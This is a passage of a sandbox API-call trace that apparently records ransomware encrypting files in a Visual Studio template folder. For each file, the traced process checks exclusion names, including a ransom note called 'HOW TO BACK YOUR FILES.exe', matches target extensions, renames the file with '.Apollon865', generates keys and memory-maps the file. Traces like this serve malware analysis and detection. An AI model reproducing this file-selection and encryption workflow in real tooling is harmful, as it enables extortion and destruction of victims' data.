	[0053.854] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.855] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=621) returned 1
	[0053.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.855] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0053.856] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.856] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.856] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x118
	[0053.857] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000
	[0053.859] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0053.860] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.860] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.860] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.860] CloseHandle (hObject=0x118) returned 1
	[0053.860] CloseHandle (hObject=0x150) returned 1
	[0053.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.861] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x492, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssemblyInfo.zip", cAlternateFileName="ASSEMB~1.ZIP")) returned 1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2=".") returned 1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="..") returned 1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="windows") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="bootmgr") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="temp") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="pagefile.sys") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="boot") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="ids.txt") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="ntuser.dat") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="perflogs") returned -1
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2="MSBuild") returned -1
	[0053.861] lstrlenW (lpString="AssemblyInfo.zip") returned 16
	[0053.861] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip") returned 113
	[0053.861] lstrcpyW (in: lpString1=0x2d3e608, lpString2="AssemblyInfo.zip" | out: lpString1="AssemblyInfo.zip") returned="AssemblyInfo.zip"
	[0053.861] lstrlenW (lpString="AssemblyInfo.zip") returned 16
	[0053.861] lstrlenW (lpString="Apollon865") returned 10
	[0053.861] lstrcmpiW (lpString1="lyInfo.zip", lpString2="Apollon865") returned 1
	[0053.861] lstrlenW (lpString=".dll") returned 4
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2=".dll") returned 1
	[0053.861] lstrlenW (lpString=".lnk") returned 4
	[0053.861] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2=".lnk") returned 1
	[0053.862] lstrlenW (lpString=".ini") returned 4
	[0053.862] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2=".ini") returned 1
	[0053.862] lstrlenW (lpString=".sys") returned 4
	[0053.862] lstrcmpiW (lpString1="AssemblyInfo.zip", lpString2=".sys") returned 1
	[0053.862] lstrlenW (lpString="AssemblyInfo.zip") returned 16
	[0053.862] lstrlenW (lpString="bak") returned 3
	[0053.862] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.862] lstrlenW (lpString="ba_") returned 3
	[0053.862] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.862] lstrlenW (lpString="dbb") returned 3
	[0053.862] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.862] lstrlenW (lpString="vmdk") returned 4
	[0053.862] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.862] lstrlenW (lpString="rar") returned 3
	[0053.862] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.862] lstrlenW (lpString="zip") returned 3
	[0053.862] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.862] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip.Apollon865") returned 119
	[0053.862] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.863] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1170) returned 1
	[0053.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.863] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0053.864] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.864] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.864] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x118
	[0053.866] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000
	[0053.885] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0053.886] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.886] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.886] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.887] CloseHandle (hObject=0x118) returned 1
	[0053.887] CloseHandle (hObject=0x150) returned 1
	[0053.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.887] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="ASSEMB~2.ZIP")) returned 1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".") returned 1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="..") returned 1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="windows") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="bootmgr") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="temp") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="pagefile.sys") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="boot") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="ids.txt") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="ntuser.dat") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="perflogs") returned -1
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="MSBuild") returned -1
	[0053.887] lstrlenW (lpString="AssemblyInfoInternal.zip") returned 24
	[0053.887] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip") returned 108
	[0053.887] lstrcpyW (in: lpString1=0x2d3e608, lpString2="AssemblyInfoInternal.zip" | out: lpString1="AssemblyInfoInternal.zip") returned="AssemblyInfoInternal.zip"
	[0053.887] lstrlenW (lpString="AssemblyInfoInternal.zip") returned 24
	[0053.887] lstrlenW (lpString="Apollon865") returned 10
	[0053.887] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0053.887] lstrlenW (lpString=".dll") returned 4
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".dll") returned 1
	[0053.887] lstrlenW (lpString=".lnk") returned 4
	[0053.887] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".lnk") returned 1
	[0053.888] lstrlenW (lpString=".ini") returned 4
	[0053.888] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".ini") returned 1
	[0053.888] lstrlenW (lpString=".sys") returned 4
	[0053.888] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".sys") returned 1
	[0053.888] lstrlenW (lpString="AssemblyInfoInternal.zip") returned 24
	[0053.888] lstrlenW (lpString="bak") returned 3
	[0053.888] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.888] lstrlenW (lpString="ba_") returned 3
	[0053.888] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.888] lstrlenW (lpString="dbb") returned 3
	[0053.888] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.888] lstrlenW (lpString="vmdk") returned 4
	[0053.888] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.888] lstrlenW (lpString="rar") returned 3
	[0053.888] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.888] lstrlenW (lpString="zip") returned 3
	[0053.888] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.888] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip.Apollon865") returned 127
	[0053.888] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.889] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1250) returned 1
	[0053.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.889] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0053.890] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.890] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.890] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f0, lpName=0x0) returned 0x118
	[0053.892] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7f0) returned 0x100000
	[0053.893] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0053.894] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.894] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.895] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.895] CloseHandle (hObject=0x118) returned 1
	[0053.895] CloseHandle (hObject=0x150) returned 1
	[0053.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.895] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2=".") returned 1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="..") returned 1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="windows") returned -1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="bootmgr") returned 1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="temp") returned -1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="pagefile.sys") returned -1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="boot") returned 1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="ids.txt") returned -1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="ntuser.dat") returned -1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="perflogs") returned -1
	[0053.895] lstrcmpiW (lpString1="Class.zip", lpString2="MSBuild") returned -1
	[0053.895] lstrlenW (lpString="Class.zip") returned 9
	[0053.896] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip") returned 116
	[0053.896] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Class.zip" | out: lpString1="Class.zip") returned="Class.zip"
	[0053.896] lstrlenW (lpString="Class.zip") returned 9
	[0053.896] lstrlenW (lpString="Apollon865") returned 10
	[0053.896] lstrlenW (lpString=".dll") returned 4
	[0053.896] lstrcmpiW (lpString1="Class.zip", lpString2=".dll") returned 1
	[0053.896] lstrlenW (lpString=".lnk") returned 4
	[0053.896] lstrcmpiW (lpString1="Class.zip", lpString2=".lnk") returned 1
	[0053.896] lstrlenW (lpString=".ini") returned 4
	[0053.896] lstrcmpiW (lpString1="Class.zip", lpString2=".ini") returned 1
	[0053.896] lstrlenW (lpString=".sys") returned 4
	[0053.896] lstrcmpiW (lpString1="Class.zip", lpString2=".sys") returned 1
	[0053.896] lstrlenW (lpString="Class.zip") returned 9
	[0053.896] lstrlenW (lpString="bak") returned 3
	[0053.896] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.896] lstrlenW (lpString="ba_") returned 3
	[0053.896] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.896] lstrlenW (lpString="dbb") returned 3
	[0053.896] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.896] lstrlenW (lpString="vmdk") returned 4
	[0053.896] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.896] lstrlenW (lpString="rar") returned 3
	[0053.896] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.896] lstrlenW (lpString="zip") returned 3
	[0053.896] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.896] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip.Apollon865") returned 112
	[0053.896] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.916] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=701) returned 1
	[0053.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.916] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0053.917] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.917] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.917] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c0, lpName=0x0) returned 0x118
	[0053.919] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c0) returned 0x120000
	[0053.940] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
